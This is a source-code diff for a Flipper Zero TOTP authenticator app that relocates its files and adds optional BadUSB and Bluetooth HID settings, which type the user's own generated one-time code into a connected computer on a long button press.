-13,6 +13,7 @@ #define TOTP_CONFIG_KEY_BASE_IV "BaseIV" #define TOTP_CONFIG_KEY_PINSET "PinIsSet" #define TOTP_CONFIG_KEY_NOTIFICATION_METHOD "NotificationMethod" +#define TOTP_CONFIG_KEY_AUTOMATION_METHOD "AutomationMethod" #define TOTP_CONFIG_TOKEN_ALGO_SHA1_NAME "sha1" #define TOTP_CONFIG_TOKEN_ALGO_SHA256_NAME "sha256" diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.c b/applications/external/totp/services/config/migrations/config_migration_v1_to_v2.c similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.c rename to applications/external/totp/services/config/migrations/config_migration_v1_to_v2.c diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.h b/applications/external/totp/services/config/migrations/config_migration_v1_to_v2.h similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.h rename to applications/external/totp/services/config/migrations/config_migration_v1_to_v2.h diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.c b/applications/external/totp/services/config/migrations/config_migration_v2_to_v3.c similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.c rename to applications/external/totp/services/config/migrations/config_migration_v2_to_v3.c diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.h b/applications/external/totp/services/config/migrations/config_migration_v2_to_v3.h similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.h rename to applications/external/totp/services/config/migrations/config_migration_v2_to_v3.h diff --git a/applications/plugins/totp/services/convert/convert.h b/applications/external/totp/services/convert/convert.h similarity index 100% rename from applications/plugins/totp/services/convert/convert.h rename to applications/external/totp/services/convert/convert.h diff --git a/applications/plugins/totp/services/crypto/crypto.c b/applications/external/totp/services/crypto/crypto.c similarity index 100% rename from applications/plugins/totp/services/crypto/crypto.c rename to applications/external/totp/services/crypto/crypto.c diff --git a/applications/plugins/totp/services/crypto/crypto.h b/applications/external/totp/services/crypto/crypto.h similarity index 100% rename from applications/plugins/totp/services/crypto/crypto.h rename to applications/external/totp/services/crypto/crypto.h diff --git a/applications/plugins/totp/services/hmac/byteswap.c b/applications/external/totp/services/hmac/byteswap.c similarity index 100% rename from applications/plugins/totp/services/hmac/byteswap.c rename to applications/external/totp/services/hmac/byteswap.c diff --git a/applications/plugins/totp/services/hmac/byteswap.h b/applications/external/totp/services/hmac/byteswap.h similarity index 100% rename from applications/plugins/totp/services/hmac/byteswap.h rename to applications/external/totp/services/hmac/byteswap.h diff --git a/applications/plugins/totp/services/hmac/hmac_common.h b/applications/external/totp/services/hmac/hmac_common.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_common.h rename to applications/external/totp/services/hmac/hmac_common.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha1.c b/applications/external/totp/services/hmac/hmac_sha1.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha1.c rename to applications/external/totp/services/hmac/hmac_sha1.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha1.h b/applications/external/totp/services/hmac/hmac_sha1.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha1.h rename to applications/external/totp/services/hmac/hmac_sha1.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha256.c b/applications/external/totp/services/hmac/hmac_sha256.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha256.c rename to applications/external/totp/services/hmac/hmac_sha256.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha256.h b/applications/external/totp/services/hmac/hmac_sha256.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha256.h rename to applications/external/totp/services/hmac/hmac_sha256.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha512.c b/applications/external/totp/services/hmac/hmac_sha512.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha512.c rename to applications/external/totp/services/hmac/hmac_sha512.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha512.h b/applications/external/totp/services/hmac/hmac_sha512.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha512.h rename to applications/external/totp/services/hmac/hmac_sha512.h diff --git a/applications/plugins/totp/services/hmac/memxor.c b/applications/external/totp/services/hmac/memxor.c similarity index 100% rename from applications/plugins/totp/services/hmac/memxor.c rename to applications/external/totp/services/hmac/memxor.c diff --git a/applications/plugins/totp/services/hmac/memxor.h b/applications/external/totp/services/hmac/memxor.h similarity index 100% rename from applications/plugins/totp/services/hmac/memxor.h rename to applications/external/totp/services/hmac/memxor.h diff --git a/applications/plugins/totp/services/hmac/sha1.c b/applications/external/totp/services/hmac/sha1.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha1.c rename to applications/external/totp/services/hmac/sha1.c diff --git a/applications/plugins/totp/services/hmac/sha1.h b/applications/external/totp/services/hmac/sha1.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha1.h rename to applications/external/totp/services/hmac/sha1.h diff --git a/applications/plugins/totp/services/hmac/sha256.c b/applications/external/totp/services/hmac/sha256.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha256.c rename to applications/external/totp/services/hmac/sha256.c diff --git a/applications/plugins/totp/services/hmac/sha256.h b/applications/external/totp/services/hmac/sha256.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha256.h rename to applications/external/totp/services/hmac/sha256.h diff --git a/applications/plugins/totp/services/hmac/sha512.c b/applications/external/totp/services/hmac/sha512.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha512.c rename to applications/external/totp/services/hmac/sha512.c diff --git a/applications/plugins/totp/services/hmac/sha512.h b/applications/external/totp/services/hmac/sha512.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha512.h rename to applications/external/totp/services/hmac/sha512.h diff --git a/applications/plugins/totp/services/hmac/u64.h b/applications/external/totp/services/hmac/u64.h similarity index 100% rename from applications/plugins/totp/services/hmac/u64.h rename to applications/external/totp/services/hmac/u64.h diff --git a/applications/plugins/totp/services/totp/totp.c b/applications/external/totp/services/totp/totp.c similarity index 100% rename from applications/plugins/totp/services/totp/totp.c rename to applications/external/totp/services/totp/totp.c diff --git a/applications/plugins/totp/services/totp/totp.h b/applications/external/totp/services/totp/totp.h similarity index 100% rename from applications/plugins/totp/services/totp/totp.h rename to applications/external/totp/services/totp/totp.h diff --git a/applications/plugins/totp/totp_10px.png b/applications/external/totp/totp_10px.png similarity index 100% rename from applications/plugins/totp/totp_10px.png rename to applications/external/totp/totp_10px.png diff --git a/applications/plugins/totp/totp_app.c b/applications/external/totp/totp_app.c similarity index 93% rename from applications/plugins/totp/totp_app.c rename to applications/external/totp/totp_app.c index 966c9fb34..e5c101e5f 100644 --- a/applications/plugins/totp/totp_app.c +++ b/applications/external/totp/totp_app.c @@ -7,7 +7,7 @@ #include #include #include -#include +#include "features_config.h" #include "services/config/config.h" #include "types/plugin_state.h" #include "types/token_info.h" @@ -108,6 +108,14 @@ static bool totp_plugin_state_init(PluginState* const plugin_state) { return false; } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(plugin_state->automation_method & AutomationMethodBadBt) { + plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); + } else { + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + return true; } @@ -130,6 +138,13 @@ static void totp_plugin_state_free(PluginState* plugin_state) { free(plugin_state->crypto_verify_data); } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + furi_mutex_free(plugin_state->mutex); free(plugin_state); } @@ -153,9 +168,6 @@ int32_t totp_app() { return 253; } - // Affecting dolphin level - DOLPHIN_DEED(DolphinDeedPluginStart); - // Set system callbacks ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, render_callback, plugin_state); diff --git a/applications/external/totp/types/automation_method.h b/applications/external/totp/types/automation_method.h new file mode 100644 index 000000000..b51e59e03 --- /dev/null +++ b/applications/external/totp/types/automation_method.h @@ -0,0 +1,13 @@ +#pragma once + +#include "../features_config.h" + +typedef uint8_t AutomationMethod; + +enum AutomationMethods { + AutomationMethodNone = 0b00, + AutomationMethodBadUsb = 0b01, +#ifdef TOTP_BADBT_TYPE_ENABLED + AutomationMethodBadBt = 0b10, +#endif +}; diff --git a/applications/plugins/totp/types/common.h b/applications/external/totp/types/common.h similarity index 100% rename from applications/plugins/totp/types/common.h rename to applications/external/totp/types/common.h diff --git a/applications/plugins/totp/types/event_type.h b/applications/external/totp/types/event_type.h similarity index 100% rename from applications/plugins/totp/types/event_type.h rename to applications/external/totp/types/event_type.h diff --git a/applications/plugins/totp/types/notification_method.h b/applications/external/totp/types/notification_method.h similarity index 100% rename from applications/plugins/totp/types/notification_method.h rename to applications/external/totp/types/notification_method.h diff --git a/applications/plugins/totp/types/nullable.h b/applications/external/totp/types/nullable.h similarity index 100% rename from applications/plugins/totp/types/nullable.h rename to applications/external/totp/types/nullable.h diff --git a/applications/plugins/totp/types/plugin_event.h b/applications/external/totp/types/plugin_event.h similarity index 100% rename from applications/plugins/totp/types/plugin_event.h rename to applications/external/totp/types/plugin_event.h diff --git a/applications/plugins/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h similarity index 82% rename from applications/plugins/totp/types/plugin_state.h rename to applications/external/totp/types/plugin_state.h index dee500305..59a218ce3 100644 --- a/applications/plugins/totp/types/plugin_state.h +++ b/applications/external/totp/types/plugin_state.h @@ -3,9 +3,14 @@ #include #include #include +#include "../features_config.h" #include "../lib/list/list.h" #include "../ui/totp_scenes_enum.h" #include "notification_method.h" +#include "automation_method.h" +#ifdef TOTP_BADBT_TYPE_ENABLED +#include "../workers/bt_type_code/bt_type_code.h" +#endif #define TOTP_IV_SIZE 16 @@ -92,4 +97,16 @@ typedef struct { * @brief Main rendering loop mutex */ FuriMutex* mutex; + + /** + * @brief Automation method + */ + AutomationMethod automation_method; + +#ifdef TOTP_BADBT_TYPE_ENABLED + /** + * @brief Bad-Bluetooth worker context + */ + TotpBtTypeCodeWorkerContext* bt_type_code_worker_context; +#endif } PluginState; diff --git a/applications/plugins/totp/types/token_info.c b/applications/external/totp/types/token_info.c similarity index 100% rename from applications/plugins/totp/types/token_info.c rename to applications/external/totp/types/token_info.c diff --git a/applications/plugins/totp/types/token_info.h b/applications/external/totp/types/token_info.h similarity index 100% rename from applications/plugins/totp/types/token_info.h rename to applications/external/totp/types/token_info.h diff --git a/applications/plugins/totp/types/user_pin_codes.h b/applications/external/totp/types/user_pin_codes.h similarity index 100% rename from applications/plugins/totp/types/user_pin_codes.h rename to applications/external/totp/types/user_pin_codes.h diff --git a/applications/plugins/totp/ui/common_dialogs.c b/applications/external/totp/ui/common_dialogs.c similarity index 100% rename from applications/plugins/totp/ui/common_dialogs.c rename to applications/external/totp/ui/common_dialogs.c diff --git a/applications/plugins/totp/ui/common_dialogs.h b/applications/external/totp/ui/common_dialogs.h similarity index 100% rename from applications/plugins/totp/ui/common_dialogs.h rename to applications/external/totp/ui/common_dialogs.h diff --git a/applications/plugins/totp/ui/constants.h b/applications/external/totp/ui/constants.h similarity index 100% rename from applications/plugins/totp/ui/constants.h rename to applications/external/totp/ui/constants.h diff --git a/applications/plugins/totp/ui/scene_director.c b/applications/external/totp/ui/scene_director.c similarity index 96% rename from applications/plugins/totp/ui/scene_director.c rename to applications/external/totp/ui/scene_director.c index fcc9f37d8..c77e88ab4 100644 --- a/applications/plugins/totp/ui/scene_director.c +++ b/applications/external/totp/ui/scene_director.c @@ -37,7 +37,9 @@ void totp_scene_director_activate_scene( } void totp_scene_director_deactivate_active_scene(PluginState* const plugin_state) { - switch(plugin_state->current_scene) { + Scene current_scene = plugin_state->current_scene; + plugin_state->current_scene = TotpSceneNone; + switch(current_scene) { case TotpSceneGenerateToken: totp_scene_generate_token_deactivate(plugin_state); break; diff --git a/applications/plugins/totp/ui/scene_director.h b/applications/external/totp/ui/scene_director.h similarity index 100% rename from applications/plugins/totp/ui/scene_director.h rename to applications/external/totp/ui/scene_director.h diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.c b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.c rename to applications/external/totp/ui/scenes/add_new_token/totp_input_text.c diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.h b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_input_text.h rename to applications/external/totp/ui/scenes/add_new_token/totp_input_text.h diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c rename to applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c diff --git a/applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h similarity index 100% rename from applications/plugins/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h rename to applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h diff --git a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c similarity index 70% rename from applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c rename to applications/external/totp/ui/scenes/app_settings/totp_app_settings.c index b8936f395..1671542b8 100644 --- a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.c +++ b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c @@ -10,16 +10,35 @@ #include "../../../services/convert/convert.h" #include "../../../lib/roll_value/roll_value.h" #include "../../../types/nullable.h" +#include "../../../features_config.h" +#ifdef TOTP_BADBT_TYPE_ENABLED +#include "../../../workers/bt_type_code/bt_type_code.h" +#endif char* YES_NO_LIST[] = {"NO", "YES"}; +char* ON_OFF_LIST[] = {"OFF", "ON"}; -typedef enum { HoursInput, MinutesInput, Sound, Vibro, ConfirmButton } Control; +typedef enum { + HoursInput, + MinutesInput, + Sound, + Vibro, + BadUsb, +#ifdef TOTP_BADBT_TYPE_ENABLED + BadBt, +#endif + ConfirmButton +} Control; typedef struct { int8_t tz_offset_hours; uint8_t tz_offset_minutes; bool notification_sound; bool notification_vibro; + bool badusb_enabled; +#ifdef TOTP_BADBT_TYPE_ENABLED + bool badbt_enabled; +#endif uint8_t y_offset; TotpNullable_uint16_t current_token_index; Control selected_control; @@ -47,6 +66,10 @@ void totp_scene_app_settings_activate( scene_state->tz_offset_minutes = 60.0f * off_dec; scene_state->notification_sound = plugin_state->notification_method & NotificationMethodSound; scene_state->notification_vibro = plugin_state->notification_method & NotificationMethodVibro; + scene_state->badusb_enabled = plugin_state->automation_method & AutomationMethodBadUsb; +#ifdef TOTP_BADBT_TYPE_ENABLED + scene_state->badbt_enabled = plugin_state->automation_method & AutomationMethodBadBt; +#endif } static void two_digit_to_str(int8_t num, char* str) { @@ -73,7 +96,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu char tmp_str[4]; two_digit_to_str(scene_state->tz_offset_hours, &tmp_str[0]); - canvas_draw_str_aligned(canvas, 0, 16 - scene_state->y_offset, AlignLeft, AlignTop, "Hours:"); + canvas_draw_str_aligned(canvas, 0, 17 - scene_state->y_offset, AlignLeft, AlignTop, "Hours:"); ui_control_select_render( canvas, 36, @@ -84,7 +107,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu two_digit_to_str(scene_state->tz_offset_minutes, &tmp_str[0]); canvas_draw_str_aligned( - canvas, 0, 34 - scene_state->y_offset, AlignLeft, AlignTop, "Minutes:"); + canvas, 0, 35 - scene_state->y_offset, AlignLeft, AlignTop, "Minutes:"); ui_control_select_render( canvas, 36, @@ -104,7 +127,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu canvas, 0, 64 - scene_state->y_offset, AlignLeft, AlignTop, "Notifications"); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 0, 80 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); + canvas_draw_str_aligned(canvas, 0, 81 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); ui_control_select_render( canvas, 36, @@ -113,7 +136,7 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu YES_NO_LIST[scene_state->notification_sound], scene_state->selected_control == Sound); - canvas_draw_str_aligned(canvas, 0, 98 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); + canvas_draw_str_aligned(canvas, 0, 99 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); ui_control_select_render( canvas, 36, @@ -122,10 +145,43 @@ void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plu YES_NO_LIST[scene_state->notification_vibro], scene_state->selected_control == Vibro); + canvas_draw_icon( + canvas, SCREEN_WIDTH_CENTER - 5, 123 - scene_state->y_offset, &I_totp_arrow_bottom_10x5); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned( + canvas, 0, 128 - scene_state->y_offset, AlignLeft, AlignTop, "Automation"); + canvas_set_font(canvas, FontSecondary); + + canvas_draw_str_aligned( + canvas, 0, 145 - scene_state->y_offset, AlignLeft, AlignTop, "BadUSB:"); + ui_control_select_render( + canvas, + 36, + 138 - scene_state->y_offset, + SCREEN_WIDTH - 36, + ON_OFF_LIST[scene_state->badusb_enabled], + scene_state->selected_control == BadUsb); + +#ifdef TOTP_BADBT_TYPE_ENABLED + canvas_draw_str_aligned(canvas, 0, 163 - scene_state->y_offset, AlignLeft, AlignTop, "BadBT:"); + ui_control_select_render( + canvas, + 36, + 156 - scene_state->y_offset, + SCREEN_WIDTH - 36, + ON_OFF_LIST[scene_state->badbt_enabled], + scene_state->selected_control == BadBt); +#endif + ui_control_button_render( canvas, SCREEN_WIDTH_CENTER - 24, - 115 - scene_state->y_offset, +#ifdef TOTP_BADBT_TYPE_ENABLED + 178 - scene_state->y_offset, +#else + 165 - scene_state->y_offset, +#endif 48, 13, "Confirm", @@ -152,7 +208,9 @@ bool totp_scene_app_settings_handle_event( HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > MinutesInput) { + if(scene_state->selected_control > Vibro) { + scene_state->y_offset = 128; + } else if(scene_state->selected_control > MinutesInput) { scene_state->y_offset = 64; } else { scene_state->y_offset = 0; @@ -161,7 +219,9 @@ bool totp_scene_app_settings_handle_event( case InputKeyDown: totp_roll_value_uint8_t( &scene_state->selected_control, 1, HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > MinutesInput) { + if(scene_state->selected_control > Vibro) { + scene_state->y_offset = 128; + } else if(scene_state->selected_control > MinutesInput) { scene_state->y_offset = 64; } else { scene_state->y_offset = 0; @@ -178,7 +238,14 @@ bool totp_scene_app_settings_handle_event( scene_state->notification_sound = !scene_state->notification_sound; } else if(scene_state->selected_control == Vibro) { scene_state->notification_vibro = !scene_state->notification_vibro; + } else if(scene_state->selected_control == BadUsb) { + scene_state->badusb_enabled = !scene_state->badusb_enabled; } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(scene_state->selected_control == BadBt) { + scene_state->badbt_enabled = !scene_state->badbt_enabled; + } +#endif break; case InputKeyLeft: if(scene_state->selected_control == HoursInput) { @@ -191,7 +258,14 @@ bool totp_scene_app_settings_handle_event( scene_state->notification_sound = !scene_state->notification_sound; } else if(scene_state->selected_control == Vibro) { scene_state->notification_vibro = !scene_state->notification_vibro; + } else if(scene_state->selected_control == BadUsb) { + scene_state->badusb_enabled = !scene_state->badusb_enabled; } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(scene_state->selected_control == BadBt) { + scene_state->badbt_enabled = !scene_state->badbt_enabled; + } +#endif break; case InputKeyOk: if(scene_state->selected_control == ConfirmButton) { @@ -204,12 +278,26 @@ bool totp_scene_app_settings_handle_event( (scene_state->notification_vibro ? NotificationMethodVibro : NotificationMethodNone); + plugin_state->automation_method = + scene_state->badusb_enabled ? AutomationMethodBadUsb : AutomationMethodNone; +#ifdef TOTP_BADBT_TYPE_ENABLED + plugin_state->automation_method |= scene_state->badbt_enabled ? AutomationMethodBadBt : + AutomationMethodNone; +#endif + if(totp_config_file_update_user_settings(plugin_state) != TotpConfigFileUpdateSuccess) { totp_dialogs_config_updating_error(plugin_state); return false; } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(!scene_state->badbt_enabled && plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + if(!scene_state->current_token_index.is_null) { TokenMenuSceneContext generate_scene_context = { .current_token_index = scene_state->current_token_index.value}; diff --git a/applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.h b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h similarity index 100% rename from applications/plugins/totp/ui/scenes/app_settings/totp_app_settings.h rename to applications/external/totp/ui/scenes/app_settings/totp_app_settings.h diff --git a/applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c similarity index 100% rename from applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.c rename to applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c diff --git a/applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.h b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h similarity index 100% rename from applications/plugins/totp/ui/scenes/authenticate/totp_scene_authenticate.h rename to applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h diff --git a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c similarity index 80% rename from applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c rename to applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index a882ae78c..a8e93bbff 100644 --- a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -14,7 +14,11 @@ #include "../../../lib/roll_value/roll_value.h" #include "../../scene_director.h" #include "../token_menu/totp_scene_token_menu.h" -#include "../../../workers/type_code/type_code.h" +#include "../../../features_config.h" +#include "../../../workers/usb_type_code/usb_type_code.h" +#ifdef TOTP_BADBT_TYPE_ENABLED +#include "../../../workers/bt_type_code/bt_type_code.h" +#endif static const uint8_t PROGRESS_BAR_MARGIN = 3; static const uint8_t PROGRESS_BAR_HEIGHT = 4; @@ -25,9 +29,10 @@ typedef struct { bool need_token_update; TokenInfo* current_token; uint32_t last_token_gen_time; - TotpTypeCodeWorkerContext* type_code_worker_context; + TotpUsbTypeCodeWorkerContext* usb_type_code_worker_context; NotificationMessage const** notification_sequence_new_token; NotificationMessage const** notification_sequence_badusb; + FuriMutex* last_code_update_sync; } SceneState; static const NotificationSequence* @@ -72,7 +77,7 @@ static const NotificationSequence* } static const NotificationSequence* - get_notification_sequence_badusb(const PluginState* plugin_state, SceneState* scene_state) { + get_notification_sequence_automation(const PluginState* plugin_state, SceneState* scene_state) { if(scene_state->notification_sequence_badusb == NULL) { uint8_t i = 0; uint8_t length = 3; @@ -201,9 +206,28 @@ void totp_scene_generate_token_activate( plugin_state->current_scene_state = scene_state; FURI_LOG_D(LOGGING_TAG, "Timezone set to: %f", (double)plugin_state->timezone_offset); update_totp_params(plugin_state); - scene_state->type_code_worker_context = totp_type_code_worker_start(); - scene_state->type_code_worker_context->string = &scene_state->last_code[0]; - scene_state->type_code_worker_context->string_length = TOTP_TOKEN_DIGITS_MAX_COUNT + 1; + + scene_state->last_code_update_sync = furi_mutex_alloc(FuriMutexTypeNormal); + if(plugin_state->automation_method & AutomationMethodBadUsb) { + scene_state->usb_type_code_worker_context = totp_usb_type_code_worker_start( + &scene_state->last_code[0], + TOTP_TOKEN_DIGITS_MAX_COUNT + 1, + scene_state->last_code_update_sync); + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + + if(plugin_state->automation_method & AutomationMethodBadBt) { + if(plugin_state->bt_type_code_worker_context == NULL) { + plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); + } + totp_bt_type_code_worker_start( + plugin_state->bt_type_code_worker_context, + &scene_state->last_code[0], + TOTP_TOKEN_DIGITS_MAX_COUNT + 1, + scene_state->last_code_update_sync); + } +#endif } void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_state) { @@ -242,8 +266,7 @@ void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_ const TokenInfo* tokenInfo = scene_state->current_token; if(tokenInfo->token != NULL && tokenInfo->token_length > 0) { - furi_mutex_acquire( - scene_state->type_code_worker_context->string_sync, FuriWaitForever); + furi_mutex_acquire(scene_state->last_code_update_sync, FuriWaitForever); size_t key_length; uint8_t* key = totp_crypto_decrypt( tokenInfo->token, tokenInfo->token_length, &plugin_state->iv[0], &key_length); @@ -262,12 +285,11 @@ void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_ memset_s(key, key_length, 0, key_length); free(key); } else { - furi_mutex_acquire( - scene_state->type_code_worker_context->string_sync, FuriWaitForever); + furi_mutex_acquire(scene_state->last_code_update_sync, FuriWaitForever); int_token_to_str(0, scene_state->last_code, tokenInfo->digits); } - furi_mutex_release(scene_state->type_code_worker_context->string_sync); + furi_mutex_release(scene_state->last_code_update_sync); if(is_new_token_time) { notification_message( @@ -327,6 +349,15 @@ void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_ canvas_draw_icon( canvas, SCREEN_WIDTH - 9, SCREEN_HEIGHT_CENTER - 24, &I_totp_arrow_right_8x9); } + +#if defined(TOTP_BADBT_TYPE_ENABLED) && defined(TOTP_BADBT_TYPE_ICON_ENABLED) + if(plugin_state->automation_method & AutomationMethodBadBt && + plugin_state->bt_type_code_worker_context != NULL && + plugin_state->bt_type_code_worker_context->is_advertising) { + canvas_draw_icon( + canvas, SCREEN_WIDTH_CENTER - 5, SCREEN_HEIGHT_CENTER + 13, &I_hid_ble_10x7); + } +#endif } bool totp_scene_generate_token_handle_event( @@ -341,14 +372,30 @@ bool totp_scene_generate_token_handle_event( } SceneState* scene_state; - if(event->input.type == InputTypeLong && event->input.key == InputKeyDown) { - scene_state = (SceneState*)plugin_state->current_scene_state; - totp_type_code_worker_notify( - scene_state->type_code_worker_context, TotpTypeCodeWorkerEventType); - notification_message( - plugin_state->notification_app, - get_notification_sequence_badusb(plugin_state, scene_state)); - return true; + if(event->input.type == InputTypeLong) { + if(event->input.key == InputKeyDown && + plugin_state->automation_method & AutomationMethodBadUsb) { + scene_state = (SceneState*)plugin_state->current_scene_state; + totp_usb_type_code_worker_notify( + scene_state->usb_type_code_worker_context, TotpUsbTypeCodeWorkerEventType); + notification_message( + plugin_state->notification_app, + get_notification_sequence_automation(plugin_state, scene_state)); + return true; + } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if( + event->input.key == InputKeyUp && + plugin_state->automation_method & AutomationMethodBadBt) { + scene_state = (SceneState*)plugin_state->current_scene_state; + totp_bt_type_code_worker_notify( + plugin_state->bt_type_code_worker_context, TotpBtTypeCodeWorkerEventType); + notification_message( + plugin_state->notification_app, + get_notification_sequence_automation(plugin_state, scene_state)); + return true; + } +#endif } if(event->input.type != InputTypePress && event->input.type != InputTypeRepeat) { @@ -400,7 +447,14 @@ void totp_scene_generate_token_deactivate(PluginState* plugin_state) { if(plugin_state->current_scene_state == NULL) return; SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - totp_type_code_worker_stop(scene_state->type_code_worker_context); + if(plugin_state->automation_method & AutomationMethodBadUsb) { + totp_usb_type_code_worker_stop(scene_state->usb_type_code_worker_context); + } +#ifdef TOTP_BADBT_TYPE_ENABLED + if(plugin_state->automation_method & AutomationMethodBadBt) { + totp_bt_type_code_worker_stop(plugin_state->bt_type_code_worker_context); + } +#endif if(scene_state->notification_sequence_new_token != NULL) { free(scene_state->notification_sequence_new_token); @@ -410,6 +464,8 @@ void totp_scene_generate_token_deactivate(PluginState* plugin_state) { free(scene_state->notification_sequence_badusb); } + furi_mutex_free(scene_state->last_code_update_sync); + free(scene_state); plugin_state->current_scene_state = NULL; } diff --git a/applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.h b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h similarity index 100% rename from applications/plugins/totp/ui/scenes/generate_token/totp_scene_generate_token.h rename to applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h diff --git a/applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.c b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c similarity index 100% rename from applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.c rename to applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c diff --git a/applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.h b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h similarity index 100% rename from applications/plugins/totp/ui/scenes/token_menu/totp_scene_token_menu.h rename to applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h diff --git a/applications/plugins/totp/ui/totp_scenes_enum.h b/applications/external/totp/ui/totp_scenes_enum.h similarity index 100% rename from applications/plugins/totp/ui/totp_scenes_enum.h rename to applications/external/totp/ui/totp_scenes_enum.h diff --git a/applications/plugins/totp/ui/ui_controls.c 